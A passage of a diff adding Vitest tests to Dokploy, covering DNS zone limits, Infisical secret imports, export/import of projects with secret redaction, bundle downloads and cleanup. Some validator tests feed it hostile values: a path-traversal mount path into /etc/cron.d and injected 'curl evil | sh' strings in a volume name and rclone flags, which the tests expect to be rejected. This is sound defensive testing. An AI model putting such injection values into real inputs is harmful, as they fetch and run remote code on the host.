content: "1.2.3.4",
};
it("refuses record operations on any other zone without calling OVH", async () => {
const cfg = { ...freshConfig(), zone: "example.com" };
mockApi();
const message = /restricted to the zone "example.com"/;
await expect(ovhClient.listRecords(cfg, "other.org")).rejects.toThrow(
message,
);
await expect(
ovhClient.upsertRecord(cfg, { ...record, zoneId: "other.org" }),
).rejects.toThrow(message);
await expect(
ovhClient.updateRecord(cfg, "other.org", "1", record),
).rejects.toThrow(message);
await expect(ovhClient.deleteRecord(cfg, "other.org", "1")).rejects.toThrow(
message,
);
expect(apiCalls()).toHaveLength(0);
});
it("still allows operations on the configured zone", async () => {
const cfg = { ...freshConfig(), zone: "example.com" };
mockApi(ovhSuccess(null), ovhSuccess(null));
await expect(
ovhClient.deleteRecord(cfg, "example.com", "1"),
).resolves.toBeUndefined();
expect(apiCalls()[0]?.[0]).toBe(
`${cfg.baseUrl}/domain/zone/example.com/record/1`,
);
});
});
+71
View File
@@ -472,6 +472,77 @@ describe("infisical client", () => {
expect(params.get("secretPath")).toBe("/frontend");
});
it("asks for imported secrets and merges them", async () => {
mockFetch.mockResolvedValueOnce(loginResponse()).mockResolvedValueOnce(
jsonResponse({
secrets: [],
imports: [
{
secretPath: "/shared",
secrets: [
{ secretKey: "DB_URL", secretValue: "postgres://imported" },
],
},
],
}),
);
const result = await infisicalClient.getSecrets(config, ["DB_URL"]);
expect(result).toEqual({ DB_URL: "postgres://imported" });
const [listUrl] = mockFetch.mock.calls[1] as [string];
// snake_case on purpose: `includeImports` is silently ignored and the
// response comes back with an empty `imports` array.
expect(new URL(listUrl).searchParams.get("include_imports")).toBe("true");
});
it("lets the later import win when two define the same key", async () => {
mockFetch.mockResolvedValueOnce(loginResponse()).mockResolvedValueOnce(
jsonResponse({
secrets: [],
imports: [
{
secretPath: "/base",
secrets: [{ secretKey: "DB_URL", secretValue: "postgres://base" }],
},
{
secretPath: "/override",
secrets: [
{ secretKey: "DB_URL", secretValue: "postgres://override" },
],
},
],
}),
);
const result = await infisicalClient.getSecrets(config, ["DB_URL"]);
// Infisical documents this order: "If two imports carry a secret with the
// same name, the value from the bottom-most import wins." The response
// lists imports in that order, so assigning them in sequence matches it.
expect(result).toEqual({ DB_URL: "postgres://override" });
});
it("lets a folder's own secret win over an imported one of the same name", async () => {
mockFetch.mockResolvedValueOnce(loginResponse()).mockResolvedValueOnce(
jsonResponse({
secrets: [{ secretKey: "DB_URL", secretValue: "postgres://local" }],
imports: [
{
secretPath: "/shared",
secrets: [
{ secretKey: "DB_URL", secretValue: "postgres://imported" },
],
},
],
}),
);
const result = await infisicalClient.getSecrets(config, ["DB_URL"]);
expect(result).toEqual({ DB_URL: "postgres://local" });
});
it("throws a clear error for a missing secret", async () => {
mockFetch
.mockResolvedValueOnce(loginResponse())
@@ -0,0 +1,127 @@
import { projects, projectTags, tags } from "@dokploy/server/db/schema";
import type {
Plan,
Snapshot,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import { apply } from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: {
projectId: "project-src",
name: "src",
env: "",
tags: [
{ name: "prod", color: "#f00" },
{ name: "billing", color: null },
],
},
environments: [],
services: [],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
};
const plan: Plan = {
target: { kind: "newProject", name: "imported" },
resolutions: {},
serverMap: {},
appNameMap: {},
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
};
describe("apply project tags", () => {
it("reuses an existing tag by name and creates the missing one", async () => {
const inserted = new Map<unknown, Record<string, unknown>[]>();
const writeDb = {
query: {
tags: {
findFirst: async (args: {
where: (f: unknown, o: unknown) => unknown;
}) => {
const captured: unknown[] = [];
args.where(new Proxy({}, { get: (_t, prop) => String(prop) }), {
and: (...v: unknown[]) => v,
eq: (a: unknown, b: unknown) => captured.push([a, b]),
});
const nameArg = captured.find(
(c) => (c as [unknown, unknown])[0] === "name",
) as [unknown, string] | undefined;
return nameArg?.[1] === "prod"
? { tagId: "tag-existing", name: "prod" }
: undefined;
},
},
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
},
insert: (table: unknown) => ({
values: (values: Record<string, unknown>) => {
const row = { ...values };
if (table === projects) row.projectId = "project-new";
if (table === tags) row.tagId = "tag-new";
const list = inserted.get(table) ?? [];
list.push(row);
inserted.set(table, list);
return { returning: async () => [row] };
},
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) =>
fn({ ...writeDb }),
} as unknown as TransferWriteDb;
await apply(writeDb, snapshot, plan, new Map(), "org-dest");
expect(inserted.get(projects)?.[0]).not.toHaveProperty("tags");
expect(inserted.get(tags)).toEqual([
{
name: "billing",
color: null,
organizationId: "org-dest",
tagId: "tag-new",
},
]);
expect(inserted.get(projectTags)).toEqual([
{ projectId: "project-new", tagId: "tag-existing" },
{ projectId: "project-new", tagId: "tag-new" },
]);
});
});
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,92 @@
import {
regenerateAppName,
replaceAppNames,
rewriteSslipIoIp,
rewriteVolumeName,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
describe("regenerateAppName", () => {
it("strips the last hyphen segment and rebuilds a fresh suffix", () => {
const result = regenerateAppName("application", "myapp-verb-noun-ab12cd");
expect(result).not.toBe("myapp-verb-noun-ab12cd");
expect(result.startsWith("myapp-verb-noun-")).toBe(true);
});
it("handles an app name with no hyphen", () => {
const result = regenerateAppName("application", "singleword");
expect(result.startsWith("singleword-")).toBe(true);
});
it("produces a different name on every call", () => {
const first = regenerateAppName("application", "myapp-verb-noun-ab12cd");
const second = regenerateAppName("application", "myapp-verb-noun-ab12cd");
expect(first).not.toBe(second);
});
});
describe("replaceAppNames", () => {
it("replaces a standalone app name reference", () => {
const result = replaceAppNames("DEPLOY_TARGET=app-foo ready", {
"app-foo": "app-bar",
});
expect(result).toBe("DEPLOY_TARGET=app-bar ready");
});
it("does not touch a key that only matches mid-token (left boundary)", () => {
const result = replaceAppNames("myapp-foo deployed", { foo: "bar" });
expect(result).toBe("myapp-foo deployed");
});
it("prefers the longest match when both names are in the map (prefix collision)", () => {
const result = replaceAppNames("app-foo-bar and app-foo both here", {
"app-foo": "short-renamed",
"app-foo-bar": "long-renamed",
});
expect(result).toBe("long-renamed and short-renamed both here");
});
it("returns the text unchanged when the map is empty", () => {
expect(replaceAppNames("app-foo", {})).toBe("app-foo");
});
it("returns null/empty text unchanged", () => {
expect(replaceAppNames("", { "app-foo": "app-bar" })).toBe("");
});
});
describe("rewriteVolumeName", () => {
it("reports rewritten: true when the name changes", () => {
const result = rewriteVolumeName("app-foo-data", {
"app-foo": "app-bar",
});
expect(result).toEqual({ value: "app-bar-data", rewritten: true });
});
it("reports rewritten: false when nothing matches", () => {
const result = rewriteVolumeName("unrelated-volume", {
"app-foo": "app-bar",
});
expect(result).toEqual({ value: "unrelated-volume", rewritten: false });
});
});
describe("rewriteSslipIoIp", () => {
it("swaps the trailing IP segment of an auto-generated sslip.io host for the destination's IP", () => {
const result = rewriteSslipIoIp(
"my-app-ab12cd-10-0-0-5.sslip.io",
"203.0.113.9",
);
expect(result).toBe("my-app-ab12cd-203-0-113-9.sslip.io");
});
it("leaves a non-sslip.io host untouched", () => {
const result = rewriteSslipIoIp("api.example.com", "203.0.113.9");
expect(result).toBe("api.example.com");
});
it("leaves the host untouched when no destination IP is known", () => {
const result = rewriteSslipIoIp("my-app-ab12cd-10-0-0-5.sslip.io", null);
expect(result).toBe("my-app-ab12cd-10-0-0-5.sslip.io");
});
});
@@ -0,0 +1,198 @@
import { PassThrough } from "node:stream";
import { beforeEach, describe, expect, it, vi } from "vitest";
let sessionToReturn: {
session: { activeOrganizationId: string } | null;
user: { id: string } | null;
} = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
vi.mock("@dokploy/server/lib/auth", () => ({
validateRequest: vi.fn(() => Promise.resolve(sessionToReturn)),
}));
const { streamBox } = vi.hoisted(() => ({
streamBox: { content: Buffer.from("bundle bytes"), exitCode: 0 },
}));
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
const { PassThrough: Pass } = await import("node:stream");
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
findOrganizationDestination: vi.fn(
async (destinationId: string, organizationId: string) => {
if (destinationId === "dest-1" && organizationId === "org-1") {
return { destinationId, bucket: "b", organizationId };
}
throw new Error("Destination not found");
},
),
listBundles: vi.fn(async () => [
{
key: `${actual.EXPORTS_DIRECTORY}/p-1.dokploy.tar.gz`,
size: streamBox.content.length,
modTime: "2024-01-01T00:00:00.000Z",
},
]),
streamBundleFromDestination: vi.fn(async () => {
const stdout = new Pass();
const stdin = new Pass();
stdin.resume();
process.nextTick(() => stdout.end(streamBox.content));
return {
stdin,
stdout,
stderr: new Pass(),
exit: Promise.resolve(streamBox.exitCode),
close: () => {},
};
}),
};
},
);
const { assertTransferPermission, EXPORTS_DIRECTORY } = await import(
"@dokploy/server/services/project-export-import"
);
const handler = (await import("../../pages/api/project-export-import/bundle"))
.default;
const buildReq = (query: Record<string, string>, method = "GET") => ({
method,
query,
headers: {},
});
const buildRes = () => {
const body = new PassThrough();
const chunks: Buffer[] = [];
body.on("data", (chunk) => chunks.push(chunk as Buffer));
const res = body as unknown as PassThrough & {
statusCode: number;
jsonBody?: unknown;
headers: Record<string, unknown>;
status: (code: number) => typeof res;
json: (value: unknown) => void;
setHeader: (key: string, value: unknown) => void;
body: () => Buffer;
};
res.statusCode = 200;
res.headers = {};
res.status = (code) => {
res.statusCode = code;
return res;
};
res.json = (value) => {
res.jsonBody = value;
res.end();
};
res.setHeader = (key, value) => {
res.headers[key] = value;
};
res.body = () => Buffer.concat(chunks);
return res;
};
const goodKey = `${EXPORTS_DIRECTORY}/p-1.dokploy.tar.gz`;
beforeEach(() => {
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
streamBox.exitCode = 0;
});
describe("bundle download route", () => {
it("rejects unauthenticated requests", async () => {
sessionToReturn = { session: null, user: null };
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(401);
});
it("rejects keys outside the exports directory or with the wrong extension", async () => {
for (const key of [
"backups/prod.sql.gz",
`${EXPORTS_DIRECTORY}/../secret.dokploy.tar.gz`,
`${EXPORTS_DIRECTORY}/notes.txt`,
]) {
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key }) as any,
res as any,
);
expect(res.statusCode).toBe(400);
}
});
it("rejects a non-owner caller", async () => {
vi.mocked(assertTransferPermission).mockRejectedValueOnce(
new Error("Only organization owners and admins can do that"),
);
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(403);
});
it("returns 404 for a destination outside the organization", async () => {
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-other", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(404);
});
it("returns 404 for a bundle that is not in the listing", async () => {
const res = buildRes();
await handler(
buildReq({
destinationId: "dest-1",
key: `${EXPORTS_DIRECTORY}/missing.dokploy.tar.gz`,
}) as any,
res as any,
);
expect(res.statusCode).toBe(404);
});
it("streams the object with the right headers", async () => {
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(200);
expect(res.headers["Content-Length"]).toBe(streamBox.content.length);
expect(res.headers["Content-Disposition"]).toContain("p-1.dokploy.tar.gz");
expect(res.body().equals(streamBox.content)).toBe(true);
});
it("answers with a JSON error when listing the destination fails", async () => {
const { listBundles } = await import(
"@dokploy/server/services/project-export-import"
);
vi.mocked(listBundles).mockRejectedValueOnce(new Error("bad credentials"));
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(502);
});
});
@@ -0,0 +1,182 @@
import type {
Plan,
Snapshot,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import { apply } from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const manifest: Snapshot["manifest"] = {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
};
const plan = (overrides: Partial<Plan> = {}): Plan => ({
target: { kind: "newProject", name: "p" },
resolutions: {},
serverMap: { null: null },
appNameMap: { "web-abc123": "web-xyz789" },
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
...overrides,
});
const writeDb = () =>
({
query: {
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
github: { findFirst: async () => undefined },
gitlab: { findFirst: async () => undefined },
gitea: { findFirst: async () => undefined },
bitbucket: { findFirst: async () => undefined },
},
insert: () => ({
values: (values: Record<string, unknown>) => ({
returning: async () => [
{
...values,
projectId: "project-new",
environmentId: "env-new",
applicationId: "app-new",
destinationId: "dest-new",
},
],
}),
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) => fn(writeDb()),
}) as unknown as TransferWriteDb;
const appWith = (mount: Record<string, unknown>): Snapshot => ({
manifest,
resources: {
project: { projectId: "project-src", name: "p", env: "" },
environments: [{ environmentId: "env-1", name: "production", env: "" }],
services: [
{
kind: "application",
applicationId: "app-1",
appName: "web-abc123",
environmentId: "env-1",
mounts: [mount],
},
],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
});
describe("apply rejects unsafe bundle rows", () => {
it("refuses a file mount whose filePath escapes the service directory", async () => {
const snapshot = appWith({
mountId: "m-1",
type: "file",
filePath: "../../../etc/cron.d/x",
content: "* * * * * root id",
mountPath: "/x",
});
await expect(
apply(writeDb(), snapshot, plan(), new Map(), "org-dest"),
).rejects.toThrow(/Unsafe mount filePath/);
});
it("refuses a volume mount with a shell-unsafe volume name", async () => {
const snapshot = appWith({
mountId: "m-1",
type: "volume",
volumeName: "x:/v; curl evil | sh; #",
mountPath: "/data",
});
await expect(
apply(writeDb(), snapshot, plan(), new Map(), "org-dest"),
).rejects.toThrow(/Invalid volume name/);
});
it("refuses a destination whose additional rclone flags don't match the API rule", async () => {
const snapshot: Snapshot = {
manifest,
resources: {
project: { projectId: "project-src", name: "p", env: "" },
environments: [],
services: [],
shared: {
destination: [
{
destinationId: "dest-src",
name: "backups",
bucket: "b",
endpoint: "e",
region: "r",
accessKey: "$secret:a",
secretAccessKey: "$secret:b",
additionalFlags: ["; curl http://evil | sh #"],
},
],
},
},
requirements: [
{
kind: "destination",
originalId: "dest-src",
configIncluded: true,
usedBy: [],
bucket: "b",
endpoint: "e",
region: "r",
},
],
warnings: [],
dumps: [],
};
await expect(
apply(
writeDb(),
snapshot,
plan({
resolutions: {
"destination:dest-src": {
requirementKey: "destination:dest-src",
action: "create",
},
},
}),
new Map([
["a", "ak"],
["b", "sk"],
]),
"org-dest",
),
).rejects.toThrow(/invalid additional rclone flags/);
});
});
@@ -0,0 +1,440 @@
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
CaptureNotFoundError,
capture,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const application1 = {
applicationId: "app-1",
name: "app-1",
appName: "app-one",
environmentId: "env-1",
env: "DB_PASS=hunter2\nAPI_KEY=abc123",
buildArgs: null,
serverId: "server-1",
buildServerId: "server-1",
githubId: "gh-1",
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token-1",
createdAt: "2024-01-01T00:00:00.000Z",
domains: [
{ domainId: "dom-1", host: "app-1.example.com", createdAt: "2024-01-01" },
],
mounts: [
{
mountId: "mount-1",
type: "file",
content: "server { listen 80; }",
createdAt: "2024-01-01",
},
{
mountId: "mount-2",
type: "bind",
content: null,
createdAt: "2024-01-01",
},
],
redirects: [],
security: [
{
securityId: "sec-1",
username: "admin",
password: "basicauthpass",
createdAt: "2024-01-01",
},
],
ports: [],
schedules: [],
volumeBackups: [],
};
const application2 = {
applicationId: "app-2",
name: "app-2",
appName: "app-two",
environmentId: "env-2",
env: "",
serverId: "server-1",
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [],
redirects: [],
security: [],
ports: [],
schedules: [],
volumeBackups: [],
};
const postgres1 = {
postgresId: "pg-1",
name: "pg-1",
appName: "pg-one",
environmentId: "env-1",
env: "PGPASS=supersecret",
databasePassword: "realdbpassword",
serverId: "server-1",
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [
{
backupId: "backup-1",
createdAt: "2024-01-01T00:00:00.000Z",
metadata: {
mariadb: { databaseUser: "u", databasePassword: "metasecret" },
},
},
],
volumeBackups: [],
};
const mysql1 = {
mysqlId: "mysql-1",
name: "mysql-1",
appName: "mysql-one",
environmentId: "env-1",
env: "",
serverId: "server-1",
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [],
volumeBackups: [],
};
const emptyServiceArrays = {
mariadb: [],
mongo: [],
redis: [],
libsql: [],
compose: [],
};
const projectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application1],
postgres: [postgres1],
mysql: [mysql1],
...emptyServiceArrays,
},
{
environmentId: "env-2",
name: "staging",
projectId: "project-1",
env: "",
isDefault: false,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application2],
postgres: [],
mysql: [],
...emptyServiceArrays,
},
],
};
const fakeDb = (): TransferDb =>
({
query: {
projects: {
findFirst: async () => projectTree,
},
environments: {
findFirst: async () => undefined,
},
applications: {
findMany: async () => [application1, application2],
findFirst: async () => undefined,
},
schedules: {
findMany: async () => [],
},
volumeBackups: {
findMany: async () => [],
},
},
}) as any;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const noopOpts = {
detectRequirements: () => [],
detectWarnings: () => [],
};
describe("capture", () => {
it("throws CaptureNotFoundError when the project doesn't exist", async () => {
const db = {
query: {
projects: { findFirst: async () => undefined },
environments: { findFirst: async () => undefined },
},
} as any as TransferDb;
await expect(
capture(db, { kind: "project", id: "missing" }, baseScope, noopOpts),
).rejects.toThrow(CaptureNotFoundError);
});
it("filters by environmentIds and serviceIds", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
{
...baseScope,
environmentIds: ["env-1"],
serviceIds: ["app-1", "pg-1"],
},
noopOpts,
);
expect(result.resources.environments).toHaveLength(1);
expect(result.resources.environments[0]?.environmentId).toBe("env-1");
expect(result.resources.services).toHaveLength(2);
const ids = result.resources.services
.map((s) => (s.applicationId ?? s.postgresId) as string)
.sort();
expect(ids).toEqual(["app-1", "pg-1"]);
});
it("never leaks NEVER_EXPORT_FIELDS", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
baseScope,
noopOpts,
);
const serialized = JSON.stringify(result.resources);
for (const forbidden of [
"server-1",
"gh-1",
"webhook-token-1",
"2024-01-01T00:00:00.000Z",
]) {
expect(serialized).not.toContain(forbidden);
}
});
it("replaces every SECRET_FIELDS value with $secret: and recovers it via secretsPlain", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
baseScope,
noopOpts,
);
const serialized = JSON.stringify(result.resources);
expect(serialized).not.toContain("hunter2");
expect(serialized).not.toContain("abc123");
expect(serialized).not.toContain("supersecret");
expect(serialized).not.toContain("basicauthpass");
expect(serialized).not.toContain("server { listen 80; }");
expect(serialized).not.toContain("realdbpassword");
expect(serialized).not.toContain("metasecret");
const pg1Resource = result.resources.services.find(
(s) => s.postgresId === "pg-1",
) as Record<string, unknown>;
expect(String(pg1Resource.databasePassword)).toMatch(/^\$secret:/);
expect(
result.secretsPlain.get(
String(pg1Resource.databasePassword).slice("$secret:".length),
),
).toBe("realdbpassword");
const pgBackups = pg1Resource.backups as Record<string, unknown>[];
expect(String(pgBackups[0]?.metadata)).toMatch(/^\$secret:/);
const app1Resource = result.resources.services.find(
(s) => s.applicationId === "app-1",
) as Record<string, unknown>;
expect(app1Resource.env).toMatch(
/^DB_PASS=\$secret:.+\nAPI_KEY=\$secret:.+$/,
);
const dbPassId = (app1Resource.env as string).match(
/DB_PASS=\$secret:([^\n]+)/,
)?.[1];
expect(dbPassId).toBeDefined();
expect(result.secretsPlain.get(dbPassId as string)).toBe("hunter2");
const mounts = app1Resource.mounts as Record<string, unknown>[];
const fileMount = mounts.find((m) => m.mountId === "mount-1");
expect(String(fileMount?.content)).toMatch(/^\$secret:/);
const bindMount = mounts.find((m) => m.mountId === "mount-2");
expect(bindMount?.content).toBeNull();
const security = app1Resource.security as Record<string, unknown>[];
expect(String(security[0]?.password)).toMatch(/^\$secret:/);
});
it("redacts secrets instead of capturing them when includeEnvSecrets is false", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
{ ...baseScope, includeEnvSecrets: false },
noopOpts,
);
expect(result.secretsPlain.size).toBe(0);
const app1Resource = result.resources.services.find(
(s) => s.applicationId === "app-1",
) as Record<string, unknown>;
expect(app1Resource.env).toBe(
"DB_PASS=$secret:REDACTED\nAPI_KEY=$secret:REDACTED",
);
});
it("redacts a vault provider's config when exported by value (shared.vault, not shared.vaultProvider)", async () => {
const db = {
query: {
...(fakeDb() as any).query,
vaultProvider: {
findFirst: async () => ({
vaultProviderId: "vault-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-1",
config: { token: "s.super-secret-vault-token" },
assignments: [
{ projectId: "old-project", environmentIds: ["old-env"] },
],
}),
},
},
} as any as TransferDb;
const result = await capture(
db,
{ kind: "project", id: "project-1" },
{ ...baseScope, shared: { vaultProvider: "value" } },
{
detectRequirements: () => [
{
kind: "vault",
originalId: "vault-1",
configIncluded: true,
usedBy: [],
providerName: "prod",
providerType: "hashicorp",
secretKeys: [],
},
],
detectWarnings: () => [],
},
);
const serialized = JSON.stringify(result.resources.shared);
expect(serialized).not.toContain("s.super-secret-vault-token");
expect(serialized).not.toContain("old-project");
const [vaultRow] = result.resources.shared.vault ?? [];
expect(String(vaultRow?.config)).toMatch(/^\$secret:/);
const secretId = String(vaultRow?.config).slice("$secret:".length);
expect(JSON.parse(result.secretsPlain.get(secretId) ?? "{}")).toEqual({
token: "s.super-secret-vault-token",
});
expect(vaultRow?.assignments).toBeUndefined();
});
it("builds an inventory reflecting the filtered scope", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
{ ...baseScope, environmentIds: ["env-1"] },
noopOpts,
);
expect(result.inventory.environments).toHaveLength(1);
expect(result.inventory.environments[0]).toMatchObject({
id: "env-1",
services: { application: 1, postgres: 1, mysql: 1 },
});
expect(result.inventory.totals.domain).toBe(1);
expect(result.inventory.totals.mount).toBe(2);
});
it("excludes backup schedules when scope.includeBackupSchedules is false", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
{ ...baseScope, includeBackupSchedules: false },
noopOpts,
);
const postgresRow = result.resources.services.find(
(service) => service.kind === "postgres",
);
expect(postgresRow?.backups).toEqual([]);
expect(result.inventory.totals.backup).toBeUndefined();
});
});
describe("capture project tags", () => {
it("flattens projectTags into resources.project.tags", async () => {
const db = fakeDb();
(db.query.projects as any).findFirst = async () => ({
...projectTree,
projectTags: [
{ tag: { tagId: "t-1", name: "prod", color: "#f00" } },
{ tag: { tagId: "t-2", name: "billing", color: null } },
],
});
const result = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
noopOpts,
);
expect(result.resources.project.tags).toEqual([
{ name: "prod", color: "#f00" },
{ name: "billing", color: null },
]);
expect(result.resources.project).not.toHaveProperty("projectTags");
});
it("forces vault and dns providers to reference when env secrets are excluded", async () => {
const db = fakeDb();
(db.query as any).dnsProvider = {
findMany: async () => [
{ dnsProviderId: "dns-1", name: "cf", config: {} },
],
};
const result = await capture(
db,
{ kind: "project", id: "project-1" },
{
...baseScope,
includeEnvSecrets: false,
shared: { dnsProvider: "value", vaultProvider: "value" },
},
noopOpts,
);
expect(result.resources.shared.dnsProvider).toBeUndefined();
});
});
@@ -0,0 +1,134 @@
import { existsSync } from "node:fs";
import { mkdir, mkdtemp, rm, utimes } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import {
createExportJob,
createImportJob,
sweepOrphanedTransferDirectories,
sweepRemoteTransferDirectories,
} from "@dokploy/server/services/project-export-import";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return { ...actual, execAsyncRemote: vi.fn() };
});
let root: string;
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cleanup-"));
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
});
const fakePaths = () => ({ PROJECT_EXPORT_IMPORT_PATH: root }) as any;
const makeStaleDir = async (name: string) => {
const dir = join(root, name);
await mkdir(dir, { recursive: true });
const staleTime = new Date(Date.now() - 2 * 60 * 60 * 1000);
await utimes(dir, staleTime, staleTime);
return dir;
};
describe("sweepOrphanedTransferDirectories", () => {
it("deletes a stale directory with no matching job record (a genuine crash-orphan)", async () => {
const dir = await makeStaleDir("orphaned-export-1");
await sweepOrphanedTransferDirectories(fakePaths);
expect(existsSync(dir)).toBe(false);
});
it("leaves a fresh directory alone regardless of job state", async () => {
const dir = join(root, "fresh-export-1");
await mkdir(dir, { recursive: true });
await sweepOrphanedTransferDirectories(fakePaths);
expect(existsSync(dir)).toBe(true);
});
it("does not delete a stale-by-mtime directory that still has a live export job record", async () => {
const exportId = "export-still-running-1";
createExportJob(exportId, "user-1", "org-1");
const dir = await makeStaleDir(exportId);
await sweepOrphanedTransferDirectories(fakePaths);
expect(existsSync(dir)).toBe(true);
});
it("does not delete a stale-by-mtime directory that still has a live import job record", async () => {
const importId = "import-still-running-1";
createImportJob(importId, "user-1", "org-1");
const dir = await makeStaleDir(importId);
await sweepOrphanedTransferDirectories(fakePaths);
expect(existsSync(dir)).toBe(true);
});
});
describe("sweepRemoteTransferDirectories", () => {
it("removes every workspace and bundle on the server that has no live job", async () => {
createExportJob("remote-live-1", "user-1", "org-1");
vi.mocked(execAsyncRemote).mockImplementation(async (_id, command) => ({
stdout: command.startsWith("find ")
? [
"remote-orphan-1",
"remote-orphan-1.dokploy.tar.gz",
"remote-live-1",
"remote-live-1.dokploy.tar.gz",
]
.map((name) => `/etc/dokploy/transfer/${name}\n`)
.join("")
: "",
stderr: "",
}));
await sweepRemoteTransferDirectories(
["server-1"],
1_700_000_000_000,
() =>
({
PROJECT_EXPORT_IMPORT_PATH: "/etc/dokploy/transfer",
}) as any,
);
expect(vi.mocked(execAsyncRemote).mock.calls[0]?.[1]).toContain(
"! -newermt @1700000000",
);
const removed = vi
.mocked(execAsyncRemote)
.mock.calls.map(([, command]) => command)
.filter((command) => command.startsWith("rm "));
expect(removed).toEqual([
"rm -rf '/etc/dokploy/transfer/remote-orphan-1'",
"rm -rf '/etc/dokploy/transfer/remote-orphan-1.dokploy.tar.gz'",
]);
});
it("keeps going when one server is unreachable", async () => {
vi.mocked(execAsyncRemote)
.mockReset()
.mockRejectedValueOnce(new Error("ssh down"))
.mockResolvedValue({ stdout: "", stderr: "" });
await expect(
sweepRemoteTransferDirectories(["down", "up"], Date.now(), fakePaths),
).resolves.toBeUndefined();
expect(vi.mocked(execAsyncRemote).mock.calls.map(([id]) => id)).toEqual([
"down",
"up",
]);
});
});
@@ -0,0 +1,265 @@
import type {
Conflict,
Plan,
Snapshot,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import {
apply,
resolveConflicts,
resolvedProjectName,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const conflict = (
kind: Conflict["kind"],
value: string,
options: Conflict["options"],
): Conflict => ({
kind,
value,
existingId: `existing-${kind}`,
usedBy: [],
options,
});
